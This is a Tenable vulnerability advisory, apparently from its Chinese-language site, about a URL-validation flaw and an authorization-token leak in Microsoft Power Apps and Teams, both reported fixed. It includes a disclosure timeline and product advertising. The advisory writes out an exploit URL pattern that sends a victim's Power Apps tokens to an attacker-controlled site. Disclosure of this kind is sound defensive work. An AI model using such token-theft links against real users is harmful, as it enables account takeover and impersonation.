Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Multiple vulnerabilities in Microsoft Power Apps (apps.powerapps.com, make.powerapps.com)

Medium

Synopsis

Insufficient input validation on apps.powerapps.com/teams/makerportal makerportalUrl parameter

The makerPortalUrl parameter at apps.powerapps.com/teams/makerportal did not properly validate the supplied url. 

A malicious attacker could leverage this issue to spoof content in Microsoft Teams tabs and steal victims' authorization tokens. 

Theft of authorization tokens for graph.make.powerapps.com and api.powerapps.com

If a user who is logged into make.powerapps.com was convinced to visit a page following the format:

https://make.powerapps.com/teams/powerapps/acquire/mscrm.test/status/https%3a%2f%2f<attacker-controlled-site>

That user's authorization tokens for graph.make.powerapps.com and api.powerapps.com would be leaked to the attacker-controlled site. 

A malicious attacker could leverage this issue to steal additional authorization tokens and make requests to multiple Microsoft services authorized as the victim. 

解決方法

Microsoft has fixed the issues.

Disclosure Timeline

March 26, 2021 - Vulnerabilities reported to Microsoft Security Response Center (MSRC)
March 30, 2021 - Vulnerabilities confirmed by MSRC
April 15, 2021 - Tenable asks for updates, MSRC responds that team is investigating.
April 27, 2021 - Tenable notes that the input validation issue appears fixed, which would trigger disclosure. Asks Microsoft to confirm.
May 10, 2021 - Tenable again asks MSRC to confirm, notes that issue will be disclosed unless there is reason to believe the issue is not fixed.
May 11, 2021 - MSRC asks Tenable to delay disclosure until they can confirm the fix.
May 11, 2021 - Tenable asks MSRC to confirm before end of week if there are additional issues or other reasons to delay disclosure.
May 13, 2021 - Tenable discovers and reports a potential workaround to the noted fix, agrees to delay disclosure until MSRC confirms the issue is fixed and workaround addressed.
June 11, 2021 - MSRC confirms the input validation issue is fixed.
June 24, 2021 - MSRC confirms the auth token disclosure issue is fixed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID
TRA-2021-23
Credit

Evan Grant

Affected Products
Microsoft Power Apps
  Microsoft Teams
風險因素
中度

Advisory Timeline

June 14, 2021 - Advisory initially published
June 24, 2021 - Advisory updated with details on auth token disclosure issue
tenable.io

享受現代、雲端型的弱點管理平台,能夠以無與倫比的準確性查看和追蹤所有資產。

tenable.io 購買

享受現代、雲端型的弱點管理平台,使您能夠以無與倫比的準確性查看和追蹤所有資產。 立即訂閱一年。

65 項資產

選取您的訂閱選項:

立即購買

免費試用 Nessus Professional

免費試用 7 天

Nessus® 是現今市場上功能最全面的弱點掃描工具。Nessus Professional 能協助自動化弱點掃描程序、節省您達到合規性的時間並讓您的 IT 團隊合作。

購買 Nessus Professional

Nessus® 是現今市場上功能最全面的弱點掃描工具。Nessus Professional 能協助自動化弱點掃描程序、節省您達到合規性的時間並讓您的 IT 團隊合作。

購買多年期授權,節省更多。新增 365 天全年無休 24 小時全天候可使用電話、社群及對談的進階支援。

選擇您的授權

購買多年期授權,節省更多。

增加支援與訓練

Tenable.io

享受現代、雲端型的弱點管理平台,能夠以無與倫比的準確性查看和追蹤所有資產。

Tenable.io 購買

享受現代、雲端型的弱點管理平台,使您能夠以無與倫比的準確性查看和追蹤所有資產。 立即訂閱一年。

65 項資產

選取您的訂閱選項:

立即購買

試用 Tenable.io Web Application Scanning

享受我們專為現代應用程式而設計,屬於 Tenable.io 平台一部分的最新 Web 應用程式掃描產品的所有功能。不需耗費大量人力或中斷重要 Web 應用程式,即可高度準確且安全地掃描您整個線上產品系列中是否含有任何弱點。 立即註冊。

購買 Tenable.io Web Application Scanning

享受現代、雲端型的弱點管理平台,使您能夠以無與倫比的準確性查看和追蹤所有資產。 立即訂閱一年。

5 個 FQDN

$3,578

立即購買

試用 Tenable.io Container Security

享受整合至弱點管理平台中的唯一容器安全產品的完整功能。監控容器映像中是否有弱點、惡意軟體及政策違規的情形。與持續整合和持續部署 (CI/CD) 系統整合,以支援 DevOps 作法、加強安全性並支援企業政策合規性。

購買 Tenable.io Container Security

Tenable.io Container Security 整合了建置程序,能提供包含弱點、惡意軟體和政策違規等容器映像安全性的能見度,讓您無縫並安全地啟用 DevOps 流程。

試用 Tenable Lumin

透過 Tenable Lumin,能夠以視覺方式呈現 Cyber Exposure 並加以探索,長期追蹤風險降低狀況,以及對照同業進行指標分析。

購買 Tenable Lumin

聯絡業務代表,瞭解 Lumin 如何協助您獲得整個企業的深入洞見,並管理網路風險。

試用 Tenable.cs

在您軟體開發生命週期的設計、建構與執行階段中,享受完全存取偵測與修復雲端基礎架構錯誤設定的功能。

購買 Tenable.cs

聯絡業務代表,深入瞭解雲端安全性以及如何從程式碼到雲端給您完整的安全保障。

免費試用 Nessus Expert

免費試用 7 天

Nessus Expert 是專為現代攻擊破綻所打造,它能讓您從 IT 到雲端洞察更多資訊,並保護貴公司免於弱點危害。

您已擁有 Nessus Professional 嗎?
升級至 Nessus Expert,免費試用 7 天。

購買 Nessus Expert

Nessus Expert 是專為現代攻擊破綻所打造,它能讓您從 IT 到雲端洞察更多資訊,並保護貴公司免於弱點危害。

選擇您的授權

購買多年期授權,節省更多。

增添支援